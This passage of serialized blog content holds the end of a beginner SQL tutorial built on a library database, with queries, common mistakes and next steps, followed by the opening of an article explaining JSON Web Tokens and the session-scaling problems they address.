",[94,24329,24330],{"class":153},"'aisha@example.com'",[94,24332,2093],{"class":100},[94,24334,24335],{"class":96,"line":6821},[94,24336,289],{"emptyLinePlaceholder":288},[94,24338,24339,24341,24344],{"class":96,"line":6827},[94,24340,19993],{"class":753},[94,24342,24343],{"class":100}," borrowings (book_id, member_id, borrowed_on, due_on, returned_on) ",[94,24345,20051],{"class":753},[94,24347,24348,24350,24352,24354,24356,24358,24361,24363,24366,24368,24371,24374],{"class":96,"line":6832},[94,24349,20056],{"class":100},[94,24351,2591],{"class":757},[94,24353,346],{"class":100},[94,24355,2591],{"class":757},[94,24357,346],{"class":100},[94,24359,24360],{"class":153},"'2024-01-10'",[94,24362,346],{"class":100},[94,24364,24365],{"class":153},"'2024-01-24'",[94,24367,346],{"class":100},[94,24369,24370],{"class":153},"'2024-01-20'",[94,24372,24373],{"class":100},"),  ",[94,24375,24376],{"class":790},"-- returned\n",[94,24378,24379,24381,24383,24385,24387,24389,24392,24394,24397,24399,24401,24404],{"class":96,"line":17244},[94,24380,20056],{"class":100},[94,24382,5060],{"class":757},[94,24384,346],{"class":100},[94,24386,5055],{"class":757},[94,24388,346],{"class":100},[94,24390,24391],{"class":153},"'2024-01-15'",[94,24393,346],{"class":100},[94,24395,24396],{"class":153},"'2024-01-29'",[94,24398,346],{"class":100},[94,24400,19388],{"class":753},[94,24402,24403],{"class":100},"),           ",[94,24405,24406],{"class":790},"-- still out\n",[94,24408,24409,24411,24413,24415,24417,24419,24422,24424,24427,24429,24431,24434],{"class":96,"line":17250},[94,24410,20056],{"class":100},[94,24412,2591],{"class":757},[94,24414,346],{"class":100},[94,24416,5060],{"class":757},[94,24418,346],{"class":100},[94,24420,24421],{"class":153},"'2024-01-18'",[94,24423,346],{"class":100},[94,24425,24426],{"class":153},"'2024-02-01'",[94,24428,346],{"class":100},[94,24430,19388],{"class":753},[94,24432,24433],{"class":100},");            ",[94,24435,24406],{"class":790},[23,24437,24439],{"id":24438},"step-3-useful-queries","Step 3: Useful Queries",[85,24441,24443],{"className":18770,"code":24442,"language":18772,"meta":90,"style":90},"-- Q1: All books with their author names\nSELECT b.title, a.name AS author, b.genre, b.published_year\nFROM books b\nJOIN authors a ON b.author_id = a.id\nORDER BY b.published_year DESC;\n\n-- Q2: Which books are currently borrowed (not yet returned)?\nSELECT\n    m.name     AS member,\n    b.title    AS book,\n    br.borrowed_on,\n    br.due_on,\n    CURRENT_DATE - br.due_on AS days_overdue\nFROM borrowings br\nJOIN members m ON br.member_id = m.id\nJOIN books   b ON br.book_id   = b.id\nWHERE br.returned_on IS NULL;\n\n-- Q3: Members who have never borrowed a book\nSELECT m.name, m.email\nFROM members m\nLEFT JOIN borrowings br ON m.id = br.member_id\nWHERE br.id IS NULL;\n\n-- Q4: Most popular book (borrowed most times)\nSELECT b.title, COUNT(*) AS borrow_count\nFROM borrowings br\nJOIN books b ON br.book_id = b.id\nGROUP BY b.title\nORDER BY borrow_count DESC\nLIMIT 3;\n\n-- Q5: Create a view for the library dashboard\nCREATE VIEW library_dashboard AS\nSELECT\n    b.id,\n    b.title,\n    a.name AS author,\n    b.total_copies,\n    b.total_copies - COUNT(br.id) FILTER (WHERE br.returned_on IS NULL) AS available_copies\nFROM books b\nJOIN authors a ON b.author_id = a.id\nLEFT JOIN borrowings br ON b.id = br.book_id\nGROUP BY b.id, b.title, a.name, b.total_copies;\n\nSELECT * FROM library_dashboard;\n",[34,24444,24445,24450,24490,24497,24522,24538,24542,24547,24551,24566,24581,24593,24604,24623,24630,24655,24679,24697,24701,24706,24726,24733,24757,24773,24777,24782,24807,24813,24836,24847,24856,24864,24868,24873,24884,24888,24898,24908,24923,24935,24984,24991,25014,25038,25075,25080],{"__ignoreMap":90},[94,24446,24447],{"class":96,"line":97},[94,24448,24449],{"class":790},"-- Q1: All books with their author names\n",[94,24451,24452,24454,24456,24458,24461,24463,24465,24467,24469,24471,24474,24476,24478,24481,24483,24485,24487],{"class":96,"line":111},[94,24453,19480],{"class":753},[94,24455,5713],{"class":757},[94,24457,360],{"class":100},[94,24459,24460],{"class":757},"title",[94,24462,346],{"class":100},[94,24464,3607],{"class":757},[94,24466,360],{"class":100},[94,24468,4026],{"class":757},[94,24470,21874],{"class":753},[94,24472,24473],{"class":100}," author, ",[94,24475,3612],{"class":757},[94,24477,360],{"class":100},[94,24479,24480],{"class":757},"genre",[94,24482,346],{"class":100},[94,24484,3612],{"class":757},[94,24486,360],{"class":100},[94,24488,24489],{"class":757},"published_year\n",[94,24491,24492,24494],{"class":96,"line":122},[94,24493,20331],{"class":753},[94,24495,24496],{"class":100}," books b\n",[94,24498,24499,24501,24504,24506,24508,24510,24513,24515,24517,24519],{"class":96,"line":138},[94,24500,22034],{"class":753},[94,24502,24503],{"class":100}," authors a ",[94,24505,21705],{"class":753},[94,24507,5713],{"class":757},[94,24509,360],{"class":100},[94,24511,24512],{"class":757},"author_id",[94,24514,761],{"class":753},[94,24516,5241],{"class":757},[94,24518,360],{"class":100},[94,24520,24521],{"class":757},"id\n",[94,24523,24524,24526,24528,24530,24533,24536],{"class":96,"line":164},[94,24525,20346],{"class":753},[94,24527,5713],{"class":757},[94,24529,360],{"class":100},[94,24531,24532],{"class":757},"published_year",[94,24534,24535],{"class":753}," DESC",[94,24537,1302],{"class":100},[94,24539,24540],{"class":96,"line":174},[94,24541,289],{"emptyLinePlaceholder":288},[94,24543,24544],{"class":96,"line":188},[94,24545,24546],{"class":790},"-- Q2: Which books are currently borrowed (not yet returned)?\n",[94,24548,24549],{"class":96,"line":203},[94,24550,20399],{"class":753},[94,24552,24553,24556,24558,24560,24563],{"class":96,"line":1695},[94,24554,24555],{"class":757},"    m",[94,24557,360],{"class":100},[94,24559,4026],{"class":757},[94,24561,24562],{"class":753},"     AS",[94,24564,24565],{"class":100}," member,\n",[94,24567,24568,24571,24573,24575,24578],{"class":96,"line":1702},[94,24569,24570],{"class":757},"    b",[94,24572,360],{"class":100},[94,24574,24460],{"class":757},[94,24576,24577],{"class":753},"    AS",[94,24579,24580],{"class":100}," book,\n",[94,24582,24583,24586,24588,24591],{"class":96,"line":1714},[94,24584,24585],{"class":757},"    br",[94,24587,360],{"class":100},[94,24589,24590],{"class":757},"borrowed_on",[94,24592,3848],{"class":100},[94,24594,24595,24597,24599,24602],{"class":96,"line":1726},[94,24596,24585],{"class":757},[94,24598,360],{"class":100},[94,24600,24601],{"class":757},"due_on",[94,24603,3848],{"class":100},[94,24605,24606,24609,24611,24614,24616,24618,24620],{"class":96,"line":5586},[94,24607,24608],{"class":100},"    CURRENT_DATE ",[94,24610,6786],{"class":753},[94,24612,24613],{"class":757}," br",[94,24615,360],{"class":100},[94,24617,24601],{"class":757},[94,24619,21874],{"class":753},[94,24621,24622],{"class":100}," days_overdue\n",[94,24624,24625,24627],{"class":96,"line":6797},[94,24626,20331],{"class":753},[94,24628,24629],{"class":100}," borrowings br\n",[94,24631,24632,24634,24637,24639,24641,24643,24646,24648,24651,24653],{"class":96,"line":6808},[94,24633,22034],{"class":753},[94,24635,24636],{"class":100}," members m ",[94,24638,21705],{"class":753},[94,24640,24613],{"class":757},[94,24642,360],{"class":100},[94,24644,24645],{"class":757},"member_id",[94,24647,761],{"class":753},[94,24649,24650],{"class":757}," m",[94,24652,360],{"class":100},[94,24654,24521],{"class":757},[94,24656,24657,24659,24662,24664,24666,24668,24671,24673,24675,24677],{"class":96,"line":6821},[94,24658,22034],{"class":753},[94,24660,24661],{"class":100}," books   b ",[94,24663,21705],{"class":753},[94,24665,24613],{"class":757},[94,24667,360],{"class":100},[94,24669,24670],{"class":757},"book_id",[94,24672,22098],{"class":753},[94,24674,5713],{"class":757},[94,24676,360],{"class":100},[94,24678,24521],{"class":757},[94,24680,24681,24683,24685,24687,24690,24693,24695],{"class":96,"line":6827},[94,24682,19492],{"class":753},[94,24684,24613],{"class":757},[94,24686,360],{"class":100},[94,24688,24689],{"class":757},"returned_on",[94,24691,24692],{"class":753}," IS",[94,24694,19445],{"class":753},[94,24696,1302],{"class":100},[94,24698,24699],{"class":96,"line":6832},[94,24700,289],{"emptyLinePlaceholder":288},[94,24702,24703],{"class":96,"line":17244},[94,24704,24705],{"class":790},"-- Q3: Members who have never borrowed a book\n",[94,24707,24708,24710,24712,24714,24716,24718,24721,24723],{"class":96,"line":17250},[94,24709,19480],{"class":753},[94,24711,24650],{"class":757},[94,24713,360],{"class":100},[94,24715,4026],{"class":757},[94,24717,346],{"class":100},[94,24719,24720],{"class":757},"m",[94,24722,360],{"class":100},[94,24724,24725],{"class":757},"email\n",[94,24727,24728,24730],{"class":96,"line":20860},[94,24729,20331],{"class":753},[94,24731,24732],{"class":100}," members m\n",[94,24734,24735,24737,24740,24742,24744,24746,24748,24750,24752,24754],{"class":96,"line":20871},[94,24736,21801],{"class":753},[94,24738,24739],{"class":100}," borrowings br ",[94,24741,21705],{"class":753},[94,24743,24650],{"class":757},[94,24745,360],{"class":100},[94,24747,367],{"class":757},[94,24749,761],{"class":753},[94,24751,24613],{"class":757},[94,24753,360],{"class":100},[94,24755,24756],{"class":757},"member_id\n",[94,24758,24759,24761,24763,24765,24767,24769,24771],{"class":96,"line":20893},[94,24760,19492],{"class":753},[94,24762,24613],{"class":757},[94,24764,360],{"class":100},[94,24766,367],{"class":757},[94,24768,24692],{"class":753},[94,24770,19445],{"class":753},[94,24772,1302],{"class":100},[94,24774,24775],{"class":96,"line":20898},[94,24776,289],{"emptyLinePlaceholder":288},[94,24778,24779],{"class":96,"line":20909},[94,24780,24781],{"class":790},"-- Q4: Most popular book (borrowed most times)\n",[94,24783,24784,24786,24788,24790,24792,24794,24796,24798,24800,24802,24804],{"class":96,"line":20932},[94,24785,19480],{"class":753},[94,24787,5713],{"class":757},[94,24789,360],{"class":100},[94,24791,24460],{"class":757},[94,24793,346],{"class":100},[94,24795,21433],{"class":757},[94,24797,770],{"class":100},[94,24799,1272],{"class":753},[94,24801,3615],{"class":100},[94,24803,20417],{"class":753},[94,24805,24806],{"class":100}," borrow_count\n",[94,24808,24809,24811],{"class":96,"line":20937},[94,24810,20331],{"class":753},[94,24812,24629],{"class":100},[94,24814,24815,24817,24820,24822,24824,24826,24828,24830,24832,24834],{"class":96,"line":20943},[94,24816,22034],{"class":753},[94,24818,24819],{"class":100}," books b ",[94,24821,21705],{"class":753},[94,24823,24613],{"class":757},[94,24825,360],{"class":100},[94,24827,24670],{"class":757},[94,24829,761],{"class":753},[94,24831,5713],{"class":757},[94,24833,360],{"class":100},[94,24835,24521],{"class":757},[94,24837,24838,24840,24842,24844],{"class":96,"line":23950},[94,24839,21375],{"class":753},[94,24841,5713],{"class":757},[94,24843,360],{"class":100},[94,24845,24846],{"class":757},"title\n",[94,24848,24849,24851,24854],{"class":96,"line":23956},[94,24850,20346],{"class":753},[94,24852,24853],{"class":100}," borrow_count ",[94,24855,20358],{"class":753},[94,24857,24858,24860,24862],{"class":96,"line":23968},[94,24859,20363],{"class":753},[94,24861,20243],{"class":757},[94,24863,1302],{"class":100},[94,24865,24866],{"class":96,"line":23979},[94,24867,289],{"emptyLinePlaceholder":288},[94,24869,24870],{"class":96,"line":23994},[94,24871,24872],{"class":790},"-- Q5: Create a view for the library dashboard\n",[94,24874,24875,24877,24879,24882],{"class":96,"line":24009},[94,24876,18784],{"class":753},[94,24878,23370],{"class":753},[94,24880,24881],{"class":146}," library_dashboard",[94,24883,23376],{"class":753},[94,24885,24886],{"class":96,"line":24023},[94,24887,20399],{"class":753},[94,24889,24890,24892,24894,24896],{"class":96,"line":24035},[94,24891,24570],{"class":757},[94,24893,360],{"class":100},[94,24895,367],{"class":757},[94,24897,3848],{"class":100},[94,24899,24900,24902,24904,24906],{"class":96,"line":24043},[94,24901,24570],{"class":757},[94,24903,360],{"class":100},[94,24905,24460],{"class":757},[94,24907,3848],{"class":100},[94,24909,24911,24914,24916,24918,24920],{"class":96,"line":24910},38,[94,24912,24913],{"class":757},"    a",[94,24915,360],{"class":100},[94,24917,4026],{"class":757},[94,24919,21874],{"class":753},[94,24921,24922],{"class":100}," author,\n",[94,24924,24926,24928,24930,24933],{"class":96,"line":24925},39,[94,24927,24570],{"class":757},[94,24929,360],{"class":100},[94,24931,24932],{"class":757},"total_copies",[94,24934,3848],{"class":100},[94,24936,24938,24940,24942,24944,24947,24949,24951,24954,24956,24958,24960,24963,24965,24967,24969,24971,24973,24975,24977,24979,24981],{"class":96,"line":24937},40,[94,24939,24570],{"class":757},[94,24941,360],{"class":100},[94,24943,24932],{"class":757},[94,24945,24946],{"class":753}," -",[94,24948,21260],{"class":757},[94,24950,770],{"class":100},[94,24952,24953],{"class":757},"br",[94,24955,360],{"class":100},[94,24957,367],{"class":757},[94,24959,3615],{"class":100},[94,24961,24962],{"class":753},"FILTER",[94,24964,2253],{"class":100},[94,24966,19492],{"class":753},[94,24968,24613],{"class":757},[94,24970,360],{"class":100},[94,24972,24689],{"class":757},[94,24974,24692],{"class":753},[94,24976,19445],{"class":753},[94,24978,3615],{"class":100},[94,24980,20417],{"class":753},[94,24982,24983],{"class":100}," available_copies\n",[94,24985,24987,24989],{"class":96,"line":24986},41,[94,24988,20331],{"class":753},[94,24990,24496],{"class":100},[94,24992,24994,24996,24998,25000,25002,25004,25006,25008,25010,25012],{"class":96,"line":24993},42,[94,24995,22034],{"class":753},[94,24997,24503],{"class":100},[94,24999,21705],{"class":753},[94,25001,5713],{"class":757},[94,25003,360],{"class":100},[94,25005,24512],{"class":757},[94,25007,761],{"class":753},[94,25009,5241],{"class":757},[94,25011,360],{"class":100},[94,25013,24521],{"class":757},[94,25015,25017,25019,25021,25023,25025,25027,25029,25031,25033,25035],{"class":96,"line":25016},43,[94,25018,21801],{"class":753},[94,25020,24739],{"class":100},[94,25022,21705],{"class":753},[94,25024,5713],{"class":757},[94,25026,360],{"class":100},[94,25028,367],{"class":757},[94,25030,761],{"class":753},[94,25032,24613],{"class":757},[94,25034,360],{"class":100},[94,25036,25037],{"class":757},"book_id\n",[94,25039,25041,25043,25045,25047,25049,25051,25053,25055,25057,25059,25061,25063,25065,25067,25069,25071,25073],{"class":96,"line":25040},44,[94,25042,21375],{"class":753},[94,25044,5713],{"class":757},[94,25046,360],{"class":100},[94,25048,367],{"class":757},[94,25050,346],{"class":100},[94,25052,3612],{"class":757},[94,25054,360],{"class":100},[94,25056,24460],{"class":757},[94,25058,346],{"class":100},[94,25060,3607],{"class":757},[94,25062,360],{"class":100},[94,25064,4026],{"class":757},[94,25066,346],{"class":100},[94,25068,3612],{"class":757},[94,25070,360],{"class":100},[94,25072,24932],{"class":757},[94,25074,1302],{"class":100},[94,25076,25078],{"class":96,"line":25077},45,[94,25079,289],{"emptyLinePlaceholder":288},[94,25081,25083,25085,25087,25089],{"class":96,"line":25082},46,[94,25084,19480],{"class":753},[94,25086,19483],{"class":753},[94,25088,19486],{"class":753},[94,25090,25091],{"class":100}," library_dashboard;\n",[18509,25093],{},[18,25095,25097],{"id":25096},"_11-common-beginner-mistakes","11. Common Beginner Mistakes",[11,25099,25100,25101,25104],{},"These are the most frequent errors seen when students first ",[1183,25102,25103],{},"learn SQL from\nscratch"," — avoid them and you'll be ahead of the curve.",[497,25106,25107,25120],{},[500,25108,25109],{},[503,25110,25111,25114,25117],{},[506,25112,25113],{},"Mistake",[506,25115,25116],{},"Why It's Wrong",[506,25118,25119],{},"How to Fix It",[519,25121,25122,25144,25164,25189,25203,25217,25228,25239],{},[503,25123,25124,25132,25138],{},[524,25125,25126,25129,25130],{},[34,25127,25128],{},"UPDATE table SET col = val"," without ",[34,25131,19492],{},[524,25133,25134,25135,25137],{},"Updates ",[1183,25136,22660],{}," row in the table",[524,25139,25140,25141,25143],{},"Always include ",[34,25142,19492],{}," unless intentional",[503,25145,25146,25153,25160],{},[524,25147,25148,25129,25151],{},[34,25149,25150],{},"DELETE FROM table",[34,25152,19492],{},[524,25154,25155,25156,25159],{},"Deletes ",[1183,25157,25158],{},"all"," rows",[524,25161,25140,25162],{},[34,25163,19492],{},[503,25165,25166,25171,25183],{},[524,25167,25168,25169],{},"Comparing NULL with ",[34,25170,150],{},[524,25172,25173,25176,25177,25180,25181],{},[34,25174,25175],{},"NULL = NULL"," is always ",[34,25178,25179],{},"UNKNOWN",", not ",[34,25182,19314],{},[524,25184,8462,25185,4368,25187],{},[34,25186,19462],{},[34,25188,19465],{},[503,25190,25191,25197,25200],{},[524,25192,25193,25196],{},[34,25194,25195],{},"SELECT *"," in production code",[524,25198,25199],{},"Fetches unnecessary data, breaks if schema changes",[524,25201,25202],{},"Explicitly list only needed columns",[503,25204,25205,25208,25211],{},[524,25206,25207],{},"Not using transactions for multi-step operations",[524,25209,25210],{},"Partial failure leaves data in inconsistent state",[524,25212,25213,25214],{},"Wrap related operations in ",[34,25215,25216],{},"BEGIN...COMMIT",[503,25218,25219,25222,25225],{},[524,25220,25221],{},"Forgetting to index foreign keys",[524,25223,25224],{},"Joins and lookups become full table scans",[524,25226,25227],{},"Add index on every FK column",[503,25229,25230,25233,25236],{},[524,25231,25232],{},"Putting business logic only in app code, not DB",[524,25234,25235],{},"App bugs can corrupt data",[524,25237,25238],{},"Use constraints, foreign keys, and CHECK",[503,25240,25241,25247,25253],{},[524,25242,25243,25244,25246],{},"Using ",[34,25245,19263],{}," for money",[524,25248,25249,25250],{},"Floating-point is imprecise: ",[34,25251,25252],{},"0.1 + 0.2 ≠ 0.3",[524,25254,8462,25255,25258],{},[34,25256,25257],{},"DECIMAL(10,2)"," for monetary values",[18509,25260],{},[18,25262,25264],{"id":25263},"_12-summary-what-to-learn-next","12. Summary & What to Learn Next",[23,25266,25268],{"id":25267},"what-youve-learned","What You've Learned",[497,25270,25271,25281],{},[500,25272,25273],{},[503,25274,25275,25278],{},[506,25276,25277],{},"Concept",[506,25279,25280],{},"Key Takeaway",[519,25282,25283,25290,25298,25306,25314,25322,25330,25338,25346,25354,25362,25370],{},[503,25284,25285,25287],{},[524,25286,18593],{},[524,25288,25289],{},"Software engine that stores and manages relational data",[503,25291,25292,25295],{},[524,25293,25294],{},"Tables",[524,25296,25297],{},"Data is stored in rows and columns, like a strict spreadsheet",[503,25299,25300,25303],{},[524,25301,25302],{},"Keys",[524,25304,25305],{},"Primary keys identify rows; foreign keys link tables",[503,25307,25308,25311],{},[524,25309,25310],{},"Relationships",[524,25312,25313],{},"1:1, 1:N, M:N modeled with tables and foreign keys",[503,25315,25316,25319],{},[524,25317,25318],{},"SQL sublanguages",[524,25320,25321],{},"DDL (structure), DML (change data), DQL (query data)",[503,25323,25324,25327],{},[524,25325,25326],{},"Joins",[524,25328,25329],{},"INNER, LEFT, RIGHT, FULL — combine rows from multiple tables",[503,25331,25332,25335],{},[524,25333,25334],{},"Aggregation",[524,25336,25337],{},"GROUP BY + COUNT/SUM/AVG/MIN/MAX for summarizing data",[503,25339,25340,25343],{},[524,25341,25342],{},"Constraints",[524,25344,25345],{},"Enforce data integrity at the database level",[503,25347,25348,25351],{},[524,25349,25350],{},"Normalization",[524,25352,25353],{},"Design tables to eliminate redundancy (1NF → 2NF → 3NF)",[503,25355,25356,25359],{},[524,25357,25358],{},"Indexes",[524,25360,25361],{},"Speed up SELECT queries; come at a cost to writes",[503,25363,25364,25367],{},[524,25365,25366],{},"Transactions",[524,25368,25369],{},"ACID properties guarantee correctness in multi-step operations",[503,25371,25372,25375],{},[524,25373,25374],{},"Views",[524,25376,25377],{},"Virtual tables from saved queries for simplicity and security",[23,25379,25381],{"id":25380},"recommended-next-topics","Recommended Next Topics",[1940,25383,25384,25402,25410,25416,25422,25431,25437],{},[486,25385,25386,1297,25389,346,25392,346,25395,346,25398,25401],{},[1183,25387,25388],{},"Window Functions",[34,25390,25391],{},"RANK()",[34,25393,25394],{},"ROW_NUMBER()",[34,25396,25397],{},"LAG()",[34,25399,25400],{},"LEAD()"," — the\nmost powerful SQL feature most beginners never learn.",[486,25403,25404,1297,25407,25409],{},[1183,25405,25406],{},"Query Optimization",[34,25408,23044],{},", reading query plans, index\nstrategies.",[486,25411,25412,25415],{},[1183,25413,25414],{},"Stored Procedures & Functions",": reusable logic inside the database.",[486,25417,25418,25421],{},[1183,25419,25420],{},"Triggers",": automatic actions that fire on INSERT/UPDATE/DELETE.",[486,25423,25424,25427,25428,360],{},[1183,25425,25426],{},"CTEs (Common Table Expressions)",": cleaner alternative to subqueries\nusing ",[34,25429,25430],{},"WITH",[486,25432,25433,25436],{},[1183,25434,25435],{},"PostgreSQL-specific features",": JSONB, arrays, full-text search,\npartitioning.",[486,25438,25439,25442],{},[1183,25440,25441],{},"Database Security",": roles, row-level security, encryption at rest.",[23,25444,25446],{"id":25445},"practice-resources","Practice Resources",[483,25448,25449,25454,25460,25466],{},[486,25450,25451,25453],{},[1183,25452,18653],{},": Zero-install. Download DB Browser for SQLite and start immediately.",[486,25455,25456,25459],{},[1183,25457,25458],{},"pgAdmin / DBeaver",": GUI tools for exploring and running queries.",[486,25461,25462,25465],{},[1183,25463,25464],{},"LeetCode Database Problems",": SQL problems ranked by difficulty.",[486,25467,25468,25471],{},[1183,25469,25470],{},"SQLZoo SQL Tutorial",": Interactive SQL practice in the browser.",[18509,25473],{},[16061,25475,25476],{},[11,25477,25478,25481],{},[1512,25479,25480],{},"\"Bad programmers worry about the code. Good programmers worry about data\nstructures and their relationships.\"","\n— Linus Torvalds",[11,25483,25484],{},"The database is the foundation your entire application sits on. Get this\nfoundation right, and everything built on top of it becomes simpler,\nfaster, and more reliable.",[11,25486,25487],{},"Thanks for reading!",[8983,25489,25490],{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}",{"title":90,"searchDepth":111,"depth":111,"links":25492},[25493,25496,25505,25511,25518,25519,25523,25524,25528,25529,25534,25535],{"id":18413,"depth":111,"text":18414,"children":25494},[25495],{"id":18448,"depth":122,"text":18449},{"id":18513,"depth":111,"text":18514,"children":25497},[25498,25499,25500,25501,25502,25503,25504],{"id":18517,"depth":122,"text":18518},{"id":18587,"depth":122,"text":18588},{"id":18690,"depth":122,"text":18691},{"id":18741,"depth":122,"text":18742},{"id":19031,"depth":122,"text":19032},{"id":19189,"depth":122,"text":19190},{"id":19382,"depth":122,"text":19383},{"id":19536,"depth":111,"text":19537,"children":25506},[25507,25508,25509,25510],{"id":19676,"depth":122,"text":19677},{"id":19974,"depth":122,"text":19975},{"id":20299,"depth":122,"text":20300},{"id":20439,"depth":122,"text":20440},{"id":20577,"depth":111,"text":20578,"children":25512},[25513,25514,25515,25516,25517],{"id":20581,"depth":122,"text":20582},{"id":20969,"depth":122,"text":20970},{"id":21128,"depth":122,"text":21129},{"id":21576,"depth":122,"text":21577},{"id":22124,"depth":122,"text":22125},{"id":22304,"depth":111,"text":22305},{"id":22617,"depth":111,"text":22618,"children":25520},[25521,25522],{"id":22637,"depth":122,"text":22638},{"id":22670,"depth":122,"text":22671},{"id":22875,"depth":111,"text":22876},{"id":23053,"depth":111,"text":23054,"children":25525},[25526,25527],{"id":23067,"depth":122,"text":23068},{"id":23179,"depth":122,"text":23180},{"id":23342,"depth":111,"text":23343},{"id":23616,"depth":111,"text":23617,"children":25530},[25531,25532,25533],{"id":23630,"depth":122,"text":23631},{"id":24048,"depth":122,"text":24049},{"id":24438,"depth":122,"text":24439},{"id":25096,"depth":111,"text":25097},{"id":25263,"depth":111,"text":25264,"children":25536},[25537,25538,25539],{"id":25267,"depth":122,"text":25268},{"id":25380,"depth":122,"text":25381},{"id":25445,"depth":122,"text":25446},"2026-04-15","Learn SQL and RDBMS fundamentals with simple explanations of relational databases, tables, queries, primary keys vs foreign keys, joins, schema design, normalization, indexes, and transactions.","sql-made-dead-simple-rdbms-guide.png",{},"/backend/sql-made-dead-simple-rdbms-guide",{"title":18408,"description":25541},"Backend/2.sql-made-dead-simple-rdbms-guide",[25548,18593,18551,18402],"SQL","T0ZNeQJaDr9_oMnNS87nraXnakFqyGlRhI1vCayAIKc",{"id":25551,"title":25552,"author":6,"body":25553,"date":26874,"description":26875,"draft":9143,"extension":9144,"guide":9145,"image":26876,"meta":26877,"navigation":288,"path":26878,"seo":26879,"stem":26880,"tags":26881,"__hash__":26886},"blog/Backend/1.everything-about-json-web-tokens-explained.md","Everything You Actually Need to Know About JWT (Without the Fluff)",{"type":8,"value":25554,"toc":26848},[25555,25558,25562,25572,25579,25584,25588,25595,25607,25611,25618,25621,25663,25666,25670,25679,25685,25689,25704,25746,25765,25769,25780,25869,25878,25882,25889,25978,25985,25989,25995,25998,26002,26005,26111,26115,26125,26129,26141,26146,26150,26153,26157,26164,26167,26171,26182,26185,26194,26198,26201,26272,26277,26312,26317,26530,26534,26537,26542,26556,26561,26584,26593,26597,26600,26605,26622,26627,26643,26647,26654,26657,26696,26700,26703,26768,26773,26837,26839,26845],[11,25556,25557],{},"Welcome, engineers! Today, we’re going to demystify JSON Web Tokens (JWT). By the end of this article, you’ll understand what JWTs are, why they’re used everywhere, and how they work under the hood—all with simple analogies and practical examples.",[18,25559,25561],{"id":25560},"what-is-jwt-and-why-does-it-matter","What is JWT and Why Does it Matter?",[11,25563,25564,25567,25568,25571],{},[1183,25565,25566],{},"JSON Web Token (JWT)"," is an open internet standard defined in ",[1183,25569,25570],{},"RFC 7519",". At its core, it is a compact, URL-safe string that encodes a set of claims — verifiable facts about a user or session — as a JSON object, and then digitally signs them so the receiver can trust what they read.",[11,25573,25574,25575,25578],{},"Think of a JWT the way you think of a ",[1183,25576,25577],{},"government-issued ID card",". The card contains your name, date of birth, and a photo. Anyone who sees it can read the information. But crucially, it carries an official seal or hologram that only the government can produce — so you can't just forge one at home. JWT works on exactly the same principle: the token carries readable data, but it is cryptographically sealed so nobody can tamper with it.",[16061,25580,25581],{},[11,25582,25583],{},"Imagine you log into your company's internal dashboard. The server creates a little \"badge\" for you that says: \"This person is X, their role is admin, and this badge is valid until 5 PM.\" The badge is stamped with the server's private seal. Every time you visit a protected page, you flash this badge at the door. The door doesn't need to call HR — it can verify the stamp itself, instantly.",[18,25585,25587],{"id":25586},"a-real-world-example","A Real-World Example",[11,25589,25590,25591,25594],{},"You open your favourite music streaming app. You type your email and password and hit \"Log In\". The app's server checks your credentials and, upon success, generates a JWT that encodes your user ID, subscription tier, and an expiration time of one hour. It sends this token back to your browser. For the rest of the session, every API request your browser makes — \"fetch my playlists,\" \"play this song,\" \"update my preferences\" — attaches this JWT in the ",[34,25592,25593],{},"Authorization"," header. The API server reads and verifies the token and immediately knows who you are and what you're allowed to do, without a single database lookup.",[16061,25596,25597],{},[11,25598,25599,25600,70,25603,25606],{},"Why this matters\nIn a world of microservices, mobile apps, and third-party APIs, passing session cookies between services is cumbersome and fragile. JWTs are ",[1183,25601,25602],{},"stateless",[1183,25604,25605],{},"self-contained"," — any service that knows the signing key can independently verify a token with zero coordination.",[18,25608,25610],{"id":25609},"the-problem-jwt-solves","The Problem JWT Solves",[11,25612,25613,25614,25617],{},"Before JWTs, the dominant approach was ",[1183,25615,25616],{},"server-side sessions",". When you logged in, the server would create a session record in a database or in memory and hand you a random session ID (typically stored in a cookie). On every request, the server would look up that session ID to figure out who you were.",[11,25619,25620],{},"This worked fine for small, single-server applications. But it had serious problems at scale:",[483,25622,25623,25631,25639,25655],{},[486,25624,25625,25628,25630],{},[1183,25626,25627],{},"Stickiness problem",[24953,25629],{},"If you have 10 servers behind a load balancer, the server that created your session must also be the one that receives future requests — otherwise it won't find your session in memory.",[486,25632,25633,25636,25638],{},[1183,25634,25635],{},"Database bottleneck",[24953,25637],{},"Every protected API call requires a database query to validate the session. Under heavy traffic, this becomes a significant overhead.",[486,25640,25641,25644,25646,25647,25650,25651,25654],{},[1183,25642,25643],{},"Cross-domain friction",[24953,25645],{},"Cookies work poorly across different domains. If your frontend is on ",[34,25648,25649],{},"app.example.com"," and your API is on ",[34,25652,25653],{},"api.other.com",", sharing session cookies requires careful and fragile CORS configuration.",[486,25656,25657,25660,25662],{},[1183,25658,25659],{},"Microservices mismatch",[24953,25661],{},"In a microservices architecture, each service would need to either share a session store or call a central auth service on every request. Both options add latency and coupling.",[11,25664,25665],{},"JWTs eliminate these problems. The token itself is the session — it carries all the information needed for verification. No shared state. No database lookup. No sticky sessions.",[18,25667,25669],{"id":25668},"structure-of-a-jwt-three-parts-separated-by-dots","Structure of a JWT: Three Parts, Separated by Dots",[11,25671,25672,25673,25676,25677,401],{},"A JWT looks intimidating at first glance — just a long blob of characters. But it has a very precise structure: ",[1183,25674,25675],{},"three Base64URL-encoded sections",", separated by dots (",[34,25678,360],{},[11,25680,25681],{},[426,25682],{"alt":25683,"src":25684},"Structure of JWT","/post-images/everything-about-json-web-tokens-explained/structure-of-jwt.png",[23,25686,25688],{"id":25687},"part-1-the-header","Part 1 — The Header",[11,25690,25691,25692,25695,25696,25699,25700,25703],{},"The header is a ",[1183,25693,25694],{},"JSON object"," that declares the ",[1183,25697,25698],{},"token type"," and the ",[1183,25701,25702],{},"signing algorithm",". It's 